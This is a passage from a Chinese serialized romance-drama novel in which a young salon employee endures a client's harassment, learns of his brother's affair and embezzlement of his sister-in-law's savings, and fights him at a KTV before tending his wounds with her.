“王姐,”秦红笑着打圆场,“小林是我好不容易挖来的,懂电脑又会管理,放你身边那不是大材小用了吗?再说了,他脸皮薄,哪伺候得来您这尊大佛啊。”
“切,有什么伺候不来的。”王太不满地撇撇嘴,手上的力道加重了几分,指甲掐进我大腿的肉里,“我看他就是嫌弃姐姐老了。小林,你说,是不是?”
她那双浑浊的眼睛死死盯着我,带着一种逼迫的意味。
我
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知道,如果我不表态,秦红今天的生意就要黄了。嫂子苏婉的面子,我也要给。
我深吸一口气,端起桌上的分酒器,站起身来。
“王总,您误会了。”我尽量让自己的声音听起来诚恳,“秦总对我有知遇之恩,我怎么能去别的地方呢?而且……”
我顿了顿,举起满满一杯红酒:“而且我觉得,王总您不是老了,是太有魅力了。刚才您一进来,我都看直了眼。这杯酒**了,算是我赔罪,以后只要您去店里,我随叫随到!”
说完,我不等王太反应,仰头就把那一大杯红酒灌了下去。
又酸又辣的液体顺着喉咙喝下去,呛得我眼泪都快出来了。
包厢里安静了一秒,随即爆发出一阵叫好声。
“好!痛快!”王太哈哈大笑,脸上的横肉都在颤抖,“我就喜欢痛快人!秦红,你这小助理不错,懂事!这单生意,姐姐签了!”
秦红松了一口气,冲我投来赞许的目光。
然而,我低估了那杯红酒的后劲,也低估了王太的难缠。
酒过三巡,王太彻底喝高了。她摇摇晃晃地站起来,说要上洗手间,却一把拽住我的胳膊:“小林,扶姐姐一把,姐姐头晕……”
“这……”我看向秦红。
秦红冲我使了个眼色:“小林,你扶王总去洗手间,小心点,别摔着了。”
我只能搀扶着王太走出包厢,走廊里灯光昏暗,王太整个人都挂在我身上,沉甸甸的。走到洗手间门口,她突然脚下一滑,整个人往前扑去。
我下意识地伸手去揽她的腰,结果重心不稳,两人一起摔进了旁边的消防通道里。
“哎哟……”王太压在我身上,嘴里喷出一股酒气。
我刚想把她扶起来,突然感觉一只手伸进了我的衣服下摆,在我腰侧摸索着。
“小林……你真壮实……”王太的声音含糊不清,带着一种令人作呕的欲望。
我吓得魂飞魄散,猛地推开她,连滚带爬地站了起来。
“王总,您……您喝多了,我扶您回包厢!”
我几乎是逃命一样把她拖回了888包厢,秦红看我的样子有些狼狈,似乎猜到了什么,没多问,直接叫了代驾把王太送走。
第6章 误入盘丝洞
回到美容院的时候,已经是晚上十点半多了,我这才发现苏婉等在这里还没走。
秦红把车钥匙扔给前台,揉着太阳穴对她说:“苏婉,你带小远去后面的员工宿舍吧。那个单人间我让人收拾出来了,以后他就住那儿,省得每天两头跑。”
说完,她踩着高跟鞋,带着一身疲惫和酒气进了办公室,连看都没看我一眼。
苏婉点点头,转身对我柔声道:“走吧,小远,带你去看看你的新窝。”
美容院后面有个独立的小院子,平时是员工休息的地方。穿过一条铺着青石板的小径,苏婉推开了一扇白色的木门。
“就是这儿了。”
房间里不大,大概十几平米,但收拾得非常干净温馨。一张单人床铺着淡蓝色的床单,床头柜上摆着一盏暖黄色的小台灯,窗台上甚至还放了一盆绿萝。对于住惯了拥挤宿舍和哥家沙发的我来说,这里简直就是天堂。
最让我意外的是,苏婉手里正拿着一床刚拆封的棉被,显然是在我回来之前,她已经在帮我铺床了。
“嫂子,这……我自己来就行,怎么还让你动手。”我有些不好意思地走过去,想接过她手里的被子。
“没事,你累了一天了,手都在抖。”苏婉轻轻避开我的手,动作利落地把被子抖开,铺在床上,又细心地把被角掖好,“刚才秦红给我打电话,说给你留了这间房。我怕你回来晚了累得只想睡觉,就提前过来给你收拾一下。”
她拍了拍蓬松的棉被,回头冲我笑了笑,那笑容在暖黄色的灯光下显得格外温柔贤惠:“试试看,软不软?这被子是新的,我在家里晒过太阳才带过来的。”
我坐在那张属于我自己的床上,感受着身下传来的柔软触感,鼻子里全是阳光和棉布混合的清香味道。那一刻,心里的酸楚像潮水一样涌了上来。
在这个冰冷的城市里,除了娘,就只有嫂子对我这么好了。
“软,特别软。”我低声说道,声音有些哽咽。
苏婉似乎察觉到了我的情绪,她在我身边坐下,目光落在我有些苍白的脸上,眼神里满是心疼。
“小远,今天……是不是受委屈了?”她伸出手,轻轻帮我整理了一下有些凌乱的衣领,“我看你回来的时候,脸色不太好,身上还有酒气。秦红那人,事业心太强,为了签单有时候不顾底下人的感受。你跟着她,是不是被逼着喝酒了?”
我摇了摇头,不想让她担心:“没有,嫂子。秦总对我挺好的,还给我涨了工资。那酒是我自己愿意喝的,为了签单嘛,没办法。”
“傻孩子。”苏婉叹了口气,伸手握住我的手。她的手掌温热柔软,带着一种让人安心的力量,“工作哪有身体重要?你要是觉得太累,或者秦红那边太难伺候,你就跟嫂子说。别硬撑着。”
她顿了顿,语气变得认真起来:“实在不行,嫂子再帮你另外找一份工作。虽然可能没这么高的工资,但至少不用受这种罪。你哥那边……你别怕,有我在,他不敢说什么。”
看着嫂子那双清澈的眼睛,我心里暖烘烘的。
“嫂子,我真没事。这工作挺好的,有宿舍住,还包吃住,能省下不少钱。你看,我现在都有自己独立的房间了,以前在宿舍都是八个人挤在一起,哪有这待遇啊。”我故意把话题岔开,指了指四周,“而且这环境多好,安安静静的。”
苏婉环顾了一下四周,确实,虽然房间不大,但对于一个刚毕业的大学生来说,能在这个地段有个独立的住处,已经很难得了。
“也是,这里离店里近,上班也方便。”她站起身,帮我把窗户关好,“那你自己早点休息,别熬夜。洗澡间在走廊尽头,热水器我已经帮你打开了,随时能用。”
“哎,谢谢嫂子。”
苏婉走到门口,又停下脚步,回头深深地看了我一眼:“小远,以后这就是你的家了。虽然不在一个屋檐下,但咱们离得近,有什么事随时喊我。”
“我知道,嫂子你快回去吧,路上小心。”
“嗯。”
苏婉离开时关上了门,房间里瞬间安静了下来。
我躺在柔软的大床上,听着窗外偶尔传来的虫鸣声,心里涌起一股前所未有的踏实感。
终于,我有自己的窝了。
不用再寄人篱下,不用再担心半夜听到哥嫂吵架的声音,也不用再在那张狭窄的沙发上辗转反侧。
不管怎么样,至少今晚,我可以睡个好觉了。
我翻了个身,把脸埋进带着阳光味道的被子里,很快就进入了梦乡。
这一觉,是我来滨海市之后,睡得最沉、最香的一次。
这一觉睡得太沉,以至于我醒来的时候,完全分不清东南西北。
阳光透过窗帘的缝隙,直接照到我的脸上。我迷迷糊糊地睁开眼,盯着天花板发了好一会儿的呆,才反应过来:哦,我已经不住在哥嫂家的沙发上了,我有自己的窝了。
那种久违的、完全属于自己的安全感,让我忍不住在床上伸了个大大的懒腰,骨头节发出噼里啪啦的脆响。
我看了一眼手机,早上七点半。
虽然秦红说让我睡到自然醒,但我这乡下出来的孩子,生物钟早就刻在骨子里了,根本躺不住。而且,我也饿了。
我掀开被子坐起来,昨晚苏婉帮我铺的被子还散发着淡淡的阳光味道。我低头看了看自己身上,昨晚太累了,回来倒头就睡,身上还穿着那件秦红前夫留下的深蓝色Polo衫和西裤,皱皱巴巴的,像牛皮纸一样。
“得,先去洗个澡,换身衣服。”
我揉了揉乱糟糟的头发,推门走了出去。
昨晚苏婉送我来太晚,我只顾着进屋睡觉,根本没注意这宿舍区的布局。出了我的房门,是一条狭长的走廊,铺着那种老式的暗红色地毯,两边全是白色的木门。
走廊尽头隐约传来哗哗的水声,应该是洗漱间。
我踩着拖鞋,迷迷糊糊地往走廊尽头走。脑子里还在盘算着今天的工作,完全没意识到一个致命的问题——这里是“红颜”的员工宿舍。
而这栋楼里,除了我,住的全是年轻漂亮的女孩子。
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>刚走到洗漱间门口,我就听到里面传来一阵叽叽喳喳的说话声,伴随着吹风机嗡嗡的噪音,还有女孩们特有的清脆笑声。
“哎,昨晚那个王太真的签单了?听说秦总带了个男助理去,把那老娘们儿都喝趴下了?”
“真的假的?那个男助理帅不帅啊?是不是咱们店里新来的那个小林?”
“听说是个大学生,皮肤可白了,看着特干净……”
我脚步一顿,心里咯噔一下,坏了!
我刚想转身溜回去,可膀胱的**让我实在憋不住。我想着,我就进去洗把脸,刷个牙,顶多一分钟,应该没事吧?
于是,我像个做贼心虚的小偷,蹑手蹑脚地探进了洗漱间的大门。
洗漱间很大,是一排开放式的洗手台,后面连着几个隔间淋浴房。此刻,洗手台前已经站了三四个女孩,正对着镜子化妆、梳头。
她们大多只穿着睡衣。有的穿着丝绸吊带裙,肩带细得仿佛一扯就断;有的穿着宽松的T恤,下面两条大白腿晃得人眼晕;还有一个正拿着毛巾擦头发,身上只裹着一条浴巾,露出大片水嫩的后背。
我这一进去,原本热闹的洗漱间瞬间安静了下来。
空气仿佛凝固了三秒钟。
那几个女孩从镜子里看到了我,眼睛瞬间瞪得像铜铃一样大。
我穿着一件领口松垮的旧T恤(昨晚洗澡换下来的),下面是条大花裤衩,脚踩一双磨损严重的塑料拖鞋,头发像个鸡窝,手里还拎着个刷牙杯。
这副尊容,和这满屋子的香艳精致格格不入,简直就像是一只误闯入天鹅湖的癞**。
“啊——!!!”一声尖叫声划破了清晨的宁静。
那个裹着浴巾的女孩反应最快,抓起旁边的脸盆就挡在了胸前,脸涨得通红:“你是谁?!你怎么进来的?!”
“我……我是林远啊。”我尴尬的脚趾头都在扣地,恨不得当场挖个三室一厅钻进去,“我住……住隔壁那间……”
“林远?”
“哇塞,真的是那个新来的男助理!”
“天哪,他住这儿?就在我们隔壁?”
尖叫声过后,是一阵更加让人头皮发麻的起哄声。女孩们的眼神从最初的惊恐,迅速转变为一种发现了新大陆般的兴奋和好奇。她们上下打量着我,目光在我那两条穿着大花裤衩的腿上停留了很久,嘴角挂着意味深长的笑容。
“哎呀,小林弟弟,你怎么也不敲门就进来了?”一个穿着粉色蕾丝睡衣的长发女孩,非但没有回避,反而转过身,大大方方地倚在洗手台上,似笑非笑地看着我,“姐姐正在洗脸呢,你也不避讳一下。”
“我……我不知道里面有人……”我结结巴巴地解释,手里的刷牙杯都快被我捏扁了,“我就是想……洗个脸……”
“洗吧!洗吧!都是一家人,有什么好避讳的。”另一个短发女孩凑过来,故意把身体往前探了探,“小林,你平时都穿这种……很复古的内裤吗?好有个性哦。”
我的脸瞬间烧到了耳根,只想赶紧逃离这个是非之地。
第7章 苏婉来送饭
就在我手忙脚乱地挤牙膏,试图用洗脸池里的水把自己那张老脸埋起来的时候,洗漱间的门再次被人推开了。
“吵什么吵?大清早的,跟一群鸭子似的,能不能让人睡个安稳觉?”
一个慵懒而威严的声音传来。
众人回头,只见一个穿着黑色真丝睡袍的女人靠在门框上,手里夹着一支没点燃的烟。
是秦红!
她显然也是刚醒,头发有些凌乱地披在肩上,睡袍的带子系得很松,随着她的动作,领口微微敞开,露出一抹惊心动魄的雪白。
她眯着眼睛,目光在洗漱间里扫了一圈,最后落在了被一群女员工围在中间、穿着大花裤衩瑟瑟发抖的我身上。
那一瞬间,秦红愣了一下。
随即,她那张冷艳的脸上浮现出一丝玩味的笑意。
“哟,我当是谁呢。”秦红踩着拖鞋,一步步走过来。
原本喧闹的女孩们看到她,立刻像老鼠见了猫一样,自动让开了一条道,一个个低着头不敢说话。
秦红走到我面前,上下打量了我一番。
她的目光没有丝毫的羞涩或避讳,反而带着一种审视商品的挑剔。从我的鸡窝头,到我那件领口变形的T恤,再到我那双无处安放的大花裤衩腿。
“林远,”她似笑非笑地看着我,“你这品味……挺独特啊。这裤子,是你娘给你做的?还是你在哪个地摊上淘的宝贝?”
周围传来几声压抑不住的嗤笑声,我恨不得找个地缝钻进去,手里拿着牙刷,刷也不是,不刷也不是。
“秦……秦总,早。”我硬着头皮打招呼,声音都在抖,“我……我就是来洗个脸。”
“洗脸?”秦红挑了挑眉,伸手帮我理了理那乱糟糟的头发,指尖划过我的额头,带着一丝凉意,“洗脸也不看看时候。这满屋子的小姑娘,正是爱做梦的年纪,你这一出来,把她们的春梦都吓醒了。”
“我……我这就回去。”我慌乱地关掉水龙头,转身就想跑。
“站住。”
秦红叫住了我。
她走到洗手台前,拿起我的刷牙杯,用我的牙刷沾了点水,轻轻敲了敲台面:“急什么?既然来了,就把脸洗干净。昨晚喝了那么多酒,脸色跟鬼一样,别出去给我丢人。”
说完,她转头看向那群还在偷看的女员工,脸色一沉:“都看什么看?不用上班了吗?十分钟后我要在店里看到你们,谁再在这儿磨磨蹭蹭的,扣半天工资!”
“是!秦总!”
女孩们吓得一哄而散,洗漱间里瞬间空荡荡的,只剩下我和秦红两个人。
气氛变得有些微妙。
秦红靠在洗手台上,看着我笨拙地洗脸,突然开口问道:“昨晚睡得怎么样?苏婉给你铺的床,还舒服吧?”
我一愣,没想到她会问这个:“挺……挺舒服的。谢谢秦总给我安排这么好的宿舍。”
“那是苏婉的意思,跟我没关系。”秦红淡淡地说道,眼神里闪过一丝不易察觉的落寞,但很快就被她掩饰过去了,“不过,既然住进来了,就得守我的规矩。”
她转过身,背对着我,看着镜子里的自己,语气变得严肃起来:“第一,这栋楼里住的都是我的员工,全是女孩子。你虽然是唯一的男性,但要注意分寸。以后出门,把衣服穿整齐了,别像个流氓一样到处晃悠。”
“是是是,我知道了。”我连忙点头,脸红得像猴屁股。
“第二,”秦红转过身,目光灼灼地盯着我,“既然住这儿了,有些体力活儿你就得担起来。比如这栋楼里的桶装水、煤气罐,还有店里的货,以后都归你管。作为交换,你的房租全免,水电费也全免。怎么样?”
我大喜过望:“没问题!秦总您放心,我有力气,这点活儿不算什么!”
秦红看着我那副憨样,嘴角终于扬起了一丝真心的笑意:“行了,赶紧收拾完滚去店里。今天有个重要的培训,你作为运营总监,得去旁听。”
说完,她转身走了出去,只留下一阵淡淡的烟草味。
我站在洗漱间里,看着镜子里那个穿着大花裤衩、满脸通红的自己,长长地松了一口气。
虽然过程有点惊心动魄,但好歹算是混过去了。
我匆匆洗完脸,逃命似的跑回宿舍,关上门,背靠着门板大口喘气。
心脏还在狂跳。
刚才那一幕幕画面,像放电影一样在我脑海里回放。那些穿着睡衣的女孩,秦红那意味深长的眼神,还有苏婉温柔的笑脸……
我突然意识到,我的生活,从搬进这里开始,已经彻底乱了套。
我低头看了看手里那条大花裤衩,苦笑了一声。
看来,以后出门前,真的先把衣服穿好了。
上午九点,“红颜”的会议室里气氛凝重。
长条形的会议桌两侧坐满了穿着粉色制服的美容师,空气中弥漫着精油和粉底混合的味道。秦红坐在主位上,一身黑色的职业套装,气场全开,手里拿着一叠报表,眉头紧锁。
“这个月的业绩下滑了百分之十五,尤其是客诉率上升了。”秦红把报表往桌上一摔,发出“啪”的一声脆响,“谁能告诉我,为什么?”
会议室里鸦雀无声,所有的美容师都低着头,盯着自己的指甲盖,生怕被点名。
我坐在角落里,手里拿着个笔记本装模作样的记录。作为一个刚入职的“运营总监”,我对美容行业一窍不通,只能把自己当成透明人。
“林远。”
秦红突然开口,那双锐利的眼睛直勾勾地盯着我。
我心里一紧,连忙站起来:“秦总。”
“你是大学生,学东西快。你来分析一下,为什么我们的客户流失率这么高?”秦红似笑非笑地看着我,“别跟我说你不懂,运营管理是你的职责。”
全场的目光瞬间集中在我身上。
我脑子一片空白,硬着头皮说道:“那个……秦总,我觉得可能是……可能是我们的按摩手法不够好?或者……精油不够香?”
会议室里爆发出一阵哄笑声。
“按摩手法不好?精油不够香?”秦红气极反笑,“林远,你当这是路边洗头房呢?坐下吧,别丢人现眼了。”
我红着脸坐下,恨不得找个地缝钻进去。
就在这时,会议室的门被轻轻推开了一条缝。苏婉提着一个保温饭盒,探头探脑地往里看。她
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显然是趁秦红发火的时候想偷偷溜进来给我送饭。
“婉姐来了!”眼尖的美容师喊了一声。
苏婉尴尬地站在门口,进也不是,退也不是:“那个……我看小远还没吃饭,给他带了点……”
“哟,苏大美人来了。”秦红脸上的怒气瞬间消散,换上了一副调侃的表情,“快进来,别站在门口。既然是给林远送饭,那就让他当众吃完,吃饱了才有力气干活。”
苏婉无奈地笑了笑,提着饭盒走到我面前,把饭盒放在桌上:“小远,这是我早上炖的排骨汤,还有你爱吃的红烧肉。快趁热吃吧。”
那饭盒一打开,一股浓郁的肉香瞬间盖过了会议室里的香水味。
“哇,婉姐偏心!只给小林带好吃的!”
“就是就是,我们也饿了呢!”
女员工们开始起哄。
我看着那满满一饭盒的红烧肉,心里暖烘烘的,但也有些不好意思:“嫂子,这……在这儿吃不太好吧?”
“有什么不好的?吃!”秦红大手一挥,“让大家都看看,什么叫‘后勤保障’。林远,你嫂子对你可真好啊,这红烧肉做得比五星级酒店还好,你以后可得好好报答她。”
苏婉的脸微微一红,嗔怪地看了秦红一眼:“红姐,你别乱说。他就是个孩子,一个人在外面不容易。”
“孩子?”秦红挑了挑眉,目光在我和苏婉之间来回扫视,意味深长地笑了笑,“是挺像孩子的,不过这孩子长得倒是挺壮实。”
我被她们俩这一唱一和弄得面红耳赤,只能埋头苦吃。那红烧肉软糯入味,排骨汤鲜美浓郁,每一口都是嫂子的关爱。
就在我吃得正香的时候,放在桌上的手机突然震动了起来。
屏幕上显示着两个大字:大哥。
我的手一抖,筷子上的红烧肉掉在了桌子上。
会议室里的喧闹声瞬间消失了。秦红和苏婉都看到了那个来电显示,气氛变得有些微妙。
“接吧。”秦红靠在椅背上,似笑非笑地看着我,“是你哥吧?别让人家等急了。”
我深吸一口气,按下了接听键,开了免提。
“小远!你死哪去了?!”
林强咆哮的声音从电话里传出来,震得我耳朵嗡嗡响,“老子给你打了十几个电话都不接!你是不是在美容院那个破地方上班呢?赶紧给我滚出来!老子在‘金碧辉煌’KTV,没带钱,你给我送两千块钱过来!快点!”
“哥,我现在在上班,走不开……”我低声说道。
“上什么班!不就是个破美容院吗?你一个大老爷们儿在那种地方端茶倒水,也不嫌丢人!”林强骂骂咧咧,“赶紧的!别逼老子去美容院找你!到时候让你那个**嫂子也看看,你哥我在外面是怎么混的!”
“林强!你嘴巴放干净点!”苏婉猛地抢过我的手机,对着电话吼道,“你再说一句试试!小远是在正经上班,不像你,天天在外面鬼混!钱没有,你自己想办法!”
说完,她直接挂断了电话,气得浑身发抖。
会议室里一片死寂。
所有人都看着我,眼神里充满了同情、好奇,还有一丝幸灾乐祸。
第8章 林强出轨了
秦红的脸色沉了下来。她站起身,走到我面前,一把拿过我的手机,扔在桌上。
“林远,”她的声音冷得像冰,“这就是你那个所谓的‘混社会’的大哥?”
我低着头,不敢看她:“对不起,秦总,我……”
“对不起有什么用?”秦红冷笑一声,“他刚才说要来美容院找你?还要让你嫂子看看他是怎么混的?”
她转身看向苏婉:“苏婉,你听听,这就是你那个好老公。拿着你的钱在外面养小三,现在还来骚扰你的小叔子。”
苏婉的眼圈红了,咬着嘴唇不说话。
“行了,都散了吧。”秦红挥了挥手,驱散了围观的员工,“林远,你跟我来办公室。苏婉,你也来。”
……
秦红的办公室里,气氛压抑得让人喘不过气。
秦红坐在老板椅上,手指有节奏地敲击着桌面。
“林远,”她突然开口,“你知道你哥在我们店里消费了多少钱吗?”
我一愣:“什么?”
秦红从抽屉里拿出一叠厚厚的账单,扔在我面前:“你自己看。”
我颤抖着手拿起账单。
上面密密麻麻地记录着林强的消费记录。
“2025年1月15日,充值50000元。”
“2025年3月8日,购买‘至尊套盒’,消费28000元。”
“2025年6月20日,充值100000元。”
……
总计消费金额:三十八万六千元。
“这些都是你哥充的钱,但他从来没带过任何一个正经女人来做护理。”秦红冷冷地说道,“他把这些钱都充值在了一个叫‘李娜’的会员卡上。你知道李娜是谁吗?”
我茫然地摇了摇头。
“李娜是我们店以前的一个美容师,后来被你哥挖走了,现在在隔壁街开了个美容院。”秦红嘴角勾起一抹嘲讽的笑,“你哥拿着你嫂子的钱,去养别的女人,还把人送到我们店里来做脸。你说,这是不是个笑话?”
我感觉脑子里“轰”的一声,像是有什么东西炸开了。
三十八万!
那是嫂子辛辛苦苦攒下的积蓄,是准备用来生孩子、过日子的钱!
“小远,别听红姐胡说……”苏婉站在一旁,脸色苍白,“你哥他……他可能是被人骗了……”
“被骗?”秦红猛地站起来,指着苏婉的鼻子,“苏婉,你还要自欺欺人到什么时候?你看看这些账单!看看你那个好老公都干了什么!”
苏婉的眼泪终于掉了下来,她捂着脸,蹲在地上痛哭起来。
我看着嫂子伤心的样子,心里的怒火像火山一样爆发了。
我猛地站起来,握紧了拳头。
“秦总,”我咬着牙说道,“我想请个假。”
“去哪?”秦红看着我,眼神里闪过一丝赞许。
“去‘金碧辉煌’。”我冷冷地说道,“我去看看我那个好大哥,到底是怎么混的。”
“我也去。”苏婉擦干眼泪,站起身来,眼神里不再是往日的温柔,而是一种决绝,“今天,我要跟他把账算清楚。”
秦红看着我们俩,突然笑了。
“好!有种!”她从抽屉里拿出一把车钥匙,扔给我,“开我的车去。记住,别给我丢人。要是打不过,就给我打电话,我带人去帮你。”
我接过车钥匙,看着苏婉。
“嫂子,走。”
我们俩一前一后地走出了办公室,我知道,从今天开始,我不能再躲了。
秦红的那辆白色宝马X5,像一头暴躁的野兽,在滨海市的晚高峰车流里左冲右突。
我握着方向盘的手心里全是汗,不是因为车技生疏,而是因为愤怒。那一张张触目惊心的账单像烙铁一样烫在我的脑海里——三十八万!
那是嫂子苏婉省吃俭用、甚至不惜辞职备孕攒下的血汗钱,竟然全被林强那个浑蛋拿去养了别的女人!
苏婉坐在副驾驶,脸色苍白得像一张白纸。她死死地盯着窗外飞逝的街景,眼泪已经流干了,只剩下眼底那抹令人心碎的决绝。
“小远,”她突然开口,声音沙哑得像被砂纸磨过,“一会儿到了那儿,你别冲动。那是你哥,虽然……虽然他不是亲哥,但毕竟……”
“嫂子!”我猛地打断她,声音因为愤怒而颤抖,“到了现在,你还把他当哥?他把你当什么了?提款机吗?还是傻子?”
苏婉身子一颤,不再说话了。
车子“吱”的一声急刹在“金碧辉煌”KTV的门口。
这里是滨海市出了名的乱,门口停满了各种豪车,穿着暴露的迎宾小姐站在旋转门两侧,嗲声嗲气地喊着“欢迎光临”。
我把车钥匙扔给泊车小弟,拉着苏婉就冲了进去。
“您好先生,请问有预定吗?”前台服务员拦住了我们。
“找林强!888包厢!”我吼道。
服务员被我的气势吓了一跳,连忙查了一下:“888包厢……是有位林先生,不过……”
我没等她说完,推开她就往楼上冲。苏婉紧跟在我身后,脚步有些踉跄,但我能感觉到她身上散发出的那股寒意。
走到888包厢门口,里面传出震耳欲聋的歌声和划拳声。
我深吸一口气,一脚踹开了包厢门。
“砰”的一声巨响,包厢里的音乐声戛然而止。
烟雾
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缭绕中,我看到了令我目眦欲裂的一幕。
林强光着膀子,只穿了一条花裤衩,正搂着一个浓妆艳抹的女人坐在沙发上。那女人穿着低胸的吊带裙,正拿着酒瓶往林强嘴里灌酒。桌上摆满了洋酒和果盘,地上全是空酒瓶。
听到动静,林强迷迷糊糊地抬起头,看到是我,先是一愣,随即看到了我身后的苏婉。
“哟,这不是我那个不下蛋的老婆吗?”林强打了个酒嗝,脸上挂着淫邪的笑,“怎么,查岗查到这儿来了?正好,让你看看老子在外面是怎么快活的!”
那个女人——也就是账单上的“李娜”,此时正依偎在林强怀里,挑衅地看着苏婉:“这就是林哥说的黄脸婆啊?看着也不怎么样嘛,难怪林哥不喜欢回家。”
“你个狐狸精!”苏婉像是被激怒的母狮,冲上去就要抓李娜的脸。
“啪!”
林强一把抓住苏婉的手腕,狠狠地甩在地上:“给脸不要脸!老子玩几个女人怎么了?你生不出孩子,还不许老子找别人借个种?”
苏婉摔倒在地,膝盖磕在玻璃碎片上,鲜血瞬间渗了出来。
“嫂子!”
我感觉脑子里的那根弦彻底断了,冲上去一把揪住林强的衣领,抡起拳头就砸在了他的脸上。
“砰!”
这一拳用尽了我全身的力气,林强直接被我一拳打得仰面朝天,鼻血喷涌而出。
“你敢打老子?”林强捂着脸,难以置信地看着我,“林远,你个吃里扒外的白眼狼,你敢打我?”
“打的就是你!”我红着眼,一脚踹翻了面前的茶几,“林强,你还是不是人?嫂子为了你付出了多少,你心里没数吗?你拿着她的钱养小三,你还要不要脸?”
“老子花自己的钱,关你屁事!”林强爬起来,抄起酒瓶就朝我砸过来,“老子今天非打死你个兔崽子!”
我侧身躲过酒瓶,玻璃渣子划破了我的胳膊,鲜血直流。但我感觉不到疼,心里的怒火已经把我烧成了灰烬。
我再次扑上去,和林强扭打在一起。
林强虽然混社会多年,但毕竟酒色掏空了身体,没几个回合就被我压在身下。我骑在他身上,拳头雨点般地落在他的脸上、身上。
“这一拳是为了嫂子!”
“这一拳是为了那三十八万!”
“这一拳是为了你自己!”
“住手!救命啊!**了!”李娜在一旁尖叫着,却不敢上前。
苏婉坐在地上,看着满地狼藉和满脸是血的林强,眼泪再次涌了出来。但这一次,她的眼神里不再是恐惧,而是彻底的死心。
就在这时,包厢的门再次被人推开。
第9章 一怒为红颜
“都给我住手!”
一声威严的呵斥传来。
我回头一看,秦红带着四个穿着黑西装的保安冲了进来。她今天换了一身皮衣,手里拎着个链条包,气场比林强那个所谓的“大哥”强了一万倍。
“秦总……”我愣了一下,停下了手里的动作。
秦红看都没看林强一眼,径直走到我面前,一把拉起我:“受伤了没有?”
“没事,皮外伤。”我擦了擦嘴角的血迹。
秦红转头看向地上的林强,眼神里充满了鄙夷:“这就是苏婉的老公?看着也不怎么样嘛,连个小年轻都打不过。”
“**是谁?”林强捂着脸爬起来,看到秦红,眼睛一亮,“哟,这还有个极品。美女,你是这小白脸的什么人?不如陪哥哥玩玩,哥哥饶了他……”
“啪!”
秦红二话不说,一巴掌扇在林强脸上,清脆响亮。
“给我打。”秦红冷冷地对身后的保安说道,“留口气就行。”
四个保安立刻冲上去,对着林强就是一顿拳打脚踢。惨叫声、求饶声响彻包厢。
李娜吓得缩在角落里瑟瑟发抖。
秦红走到苏婉面前,蹲下身,轻轻拍了拍她的肩膀:“没事了,婉婉。有我在,没人敢欺负你。”
苏婉看着秦红,突然抱住她,放声大哭起来。
……
半小时后,派出所。
因为是互殴,加上秦红找人“教训”了林强,双方都被带到了派出所做笔录。
秦红花了不少钱,请了律师,最后定性为“家庭**引发的肢体冲突”,林强因为寻衅滋事被拘留了十五天。
走出派出所大门的时候,已经是深夜了。
冷风吹在脸上,我才感觉到胳膊上的伤口火辣辣地疼。
秦红靠在车边,抽着烟。苏婉坐在车里,眼睛红肿。
“小远,”秦红掐灭了烟头,看着我,“今天做得不错。是个爷们儿。”
我苦笑了一下:“秦总,谢谢你。今天要是没有你,我真不知道该怎么办了。”
“谢什么。”秦红走过来,伸手帮我整理了一下凌乱的衣领,“你是我看中的人,我自然不会让你吃亏。不过……”
她顿了顿,看向车里的苏婉:“接下来的事情,就要看苏婉的了。”
苏婉推开车门,走了下来。
她看着我和秦红,深吸了一口气,像是下定了某种决心。
“小远,红姐,谢谢你们。”她的声音很轻,却很坚定,“我想通了。这日子,没法过了。”
“嫂子,你想好了?”我看着她,“离婚……可不是小事。”
“我想好了。”苏婉点了点头,眼神里没有了往日的犹豫,“这三年来,我为了这个家,为了他,付出了所有。可他呢?他把我当什么了?既然他不仁,就别怪我不义。明天,我就去起诉离婚。”
“需要帮忙吗?”秦红问道,“我认识最好的离婚律师。”
“不用了,红姐。”苏婉摇了摇头,嘴角露出一丝凄然的笑,“这是我和他之间的事情,我想自己解决。不过……”
她看向我,眼神里充满了感激:“小远,今晚……能不能陪嫂子回去一趟?我……我不敢一个人面对那个家。”
我看着嫂子那双充满祈求的眼睛,心里一软。
“好,嫂子,我陪你。”
秦红看着我们俩,突然笑了:“行,那你们回去吧。小远,明天不用来上班了,好好陪陪你嫂子。工资照发。”
说完,她转身上车,一脚油门,宝马车消失在夜色中。
我和苏婉站在路边,看着车尾灯,久久没有说话。
秦红的车停在路边,她没有立刻发火,也没有像往常一样调侃。车厢里安静得可怕,只有苏婉压抑的抽泣声,像是一只受伤的小兽在角落里舔舐伤口。
我坐在后座,后背上的伤火辣辣的疼——那是刚才在KTV为了保护苏婉,替她挡下林强酒瓶时留下的。血已经凝固了,粘在衣服上,每动一下都像是在撕扯皮肉。
“小远,你的伤……”苏婉突然停止了哭泣,转过头,借着路灯昏黄的光线,看到了我肩膀上渗出的血迹。她惊呼一声,慌乱地想要伸手去碰,却又怕弄疼我,手悬在半空,颤抖着不敢落下。
“没事,嫂子,就是皮外伤。”我尽量让声音听起来轻松,侧了侧身子,不想让她看到那狰狞的伤口,“没伤着骨头,过两天就好了。”
“这怎么行……得去医院……”苏婉的眼泪又下来了,这一次是为了我。
“去什么医院,死不了人。”前座的秦红透过后视镜看了我一眼,眼神复杂。她没再说话,一脚油门,车
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子向着“红颜”美容院疾驰而去。
回到美容院的员工宿舍区,已经是凌晨一点。
秦红把车停好,转身从后备箱里拿出一个急救箱,扔给我:“去苏婉房间处理一下。我那儿是办公室,不方便。”
苏婉的房间在走廊尽头,温馨而整洁。她打开门,让我进去坐下,然后小心翼翼地接过我手里的急救箱。
“小远,把衣服脱了吧,我帮你上药。”她的声音很轻,带着一丝不易察觉的颤抖。
我犹豫了一下。虽然她是嫂子,但现在的情况有些特殊。孤男寡女,深夜共处一室……
“嫂子,我自己来吧,都是后背……”
“后背你怎么看得到?怎么上药?”苏婉难得强硬了一次,她拿出碘伏和棉签,眼圈红红的看着我,“听话,把衣服脱了。我是你嫂子,给你上药怎么了?难道还怕我占你便宜不成?”
我脸一红,没敢再坚持。
脱下T恤,我赤裸着上身坐在床边。房间里的气氛变得有些微妙。苏婉站在我身后,温热的呼吸轻轻拂过我的脊背,带着一股淡淡的沐浴露香味。
棉签触碰到伤口的瞬间,我忍不住倒吸了一口凉气,肌肉下意识地紧绷起来。
“疼吗?”苏婉的手停住了,声音里满是心疼,“林强他……怎么能下这么重的手。小远,对不起,是嫂子连累你了。”
“不疼。”我咬着牙说道,“嫂子,只要你能离了他,我这点伤不算什么。”
苏婉没有说话,只是上药的动作更加轻柔了。她的指尖偶尔划过我紧绷的背肌,那种触感像是一股电流,顺着神经末梢直窜心底。
我看着她映在镜子里的倒影:她穿着宽松的睡衣,头发随意地挽着,眼神专注而温柔。
“好了。”苏婉贴上一块纱布,轻轻拍了拍我的肩膀,“这几天别沾水,也别干重活。”
